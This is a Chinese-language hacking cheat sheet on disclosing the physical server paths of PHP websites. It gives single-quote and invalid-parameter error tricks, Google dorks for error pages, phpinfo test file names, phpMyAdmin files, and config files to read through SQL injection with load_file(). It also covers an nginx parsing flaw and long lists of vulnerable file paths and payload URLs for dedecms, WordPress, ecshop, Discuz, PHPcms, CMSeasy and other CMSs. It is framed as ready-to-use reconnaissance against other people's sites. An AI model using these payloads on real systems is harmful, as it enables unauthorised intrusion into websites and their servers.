1、單引號(hào)爆路徑
說明：
直接在URL后面加單引號(hào)，要求單引號(hào)沒有被過濾(gpc=off)且服務(wù)器默認(rèn)返回錯(cuò)誤信息。
www.xxx.com/news.php?id=149′

2、錯(cuò)誤參數(shù)值爆路徑
說明：
將要提交的參數(shù)值改成錯(cuò)誤值，比如-1。-99999單引號(hào)被過濾時(shí)不妨試試。
www.xxx.com/researcharchive.php?id=-1

3、Google爆路徑
說明：
結(jié)合關(guān)鍵字和site語法搜索出錯(cuò)頁面的網(wǎng)頁快照，常見關(guān)鍵字有warning和fatalerror。注意，如果目標(biāo)站點(diǎn)是二級(jí)域名，site接的是其對(duì)應(yīng)的頂級(jí)域名，這樣得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”

4、測試文件爆路徑
說明：
很多網(wǎng)站的根目錄下都存在測試文件，腳本代碼通常都是phpinfo()。
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php

5、phpmyadmin爆路徑
說明：
一旦找到phpmyadmin的管理頁面，再訪問該目錄下的某些特定文件，就很有可能爆出物理路徑。至于phpmyadmin的地址可以用wwwscan這類的工具去掃，也可以選擇google。PS：有些BT網(wǎng)站會(huì)寫成phpMyAdmin。
1./phpmyadmin/libraries/lect_lang.lib.php
2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php

6、配置文件找路徑
說明：
如果注入點(diǎn)有文件讀取權(quán)限，就可以手工load_file或工具讀取配置文件，再從中尋找路徑信息（一般在文件末尾）。各平臺(tái)下Web服務(wù)器和PHP的配置文件默認(rèn)路徑可以上網(wǎng)查，這里列舉常見的幾個(gè)。

Windows:
c:\windows\php.ini                                    php配置文件
c:\windows\system32\inetsrv\MetaBase.xml             IIS虛擬主機(jī)配置文件

Linux:
/etc/php.ini                                          php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf                             Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf        虛擬目錄配置文件

7、nginx文件類型錯(cuò)誤解析爆路徑
說明：
這是昨天無意中發(fā)現(xiàn)的方法，當(dāng)然要求Web服務(wù)器是nginx，且存在文件類型解析漏洞。有時(shí)在圖片地址后加/x.php，該圖片不但會(huì)被當(dāng)作php文件執(zhí)行，還有可能爆出物理路徑。
www.xxx.com/top.jpg/x.php

8、其他
dedecms
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
plus/paycenter/cbpayment/autoreceive.php
paycenter/nps/config_pay_nps.php
plus/task/dede-maketimehtml.php
plus/task/dede-optimize-table.php
plus/task/dede-upcache.php

WP
wp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php

ecshop商城系統(tǒng)暴路徑漏洞文件
/api/cron.php
/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php

ucenter爆路徑
ucenter\control\admin\db.php

DZbbs
manyou/admincp.php?my_suffix=%0A%0DTOBY57

z-blog
admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php

php168爆路徑
admin/inc/hack/count.php?job=list
admin/inc/hack/search.php?job=getcode
admin/inc/ajax/bencandy.php?job=do
cache/MysqlTime.txt

PHPcms2008-sp4
注冊(cè)用戶登陸后訪問
phpcms/corpandresize/process.php?pic=../images/logo.gif

bo-blog
PoC:
/go.php/<[evil code]
CMSeasy爆網(wǎng)站路徑漏洞
漏洞出現(xiàn)在menu_top.php這個(gè)文件中
lib/mods/celive/menu_top.php
/lib/default/ballot_act.php
lib/default/special_act.php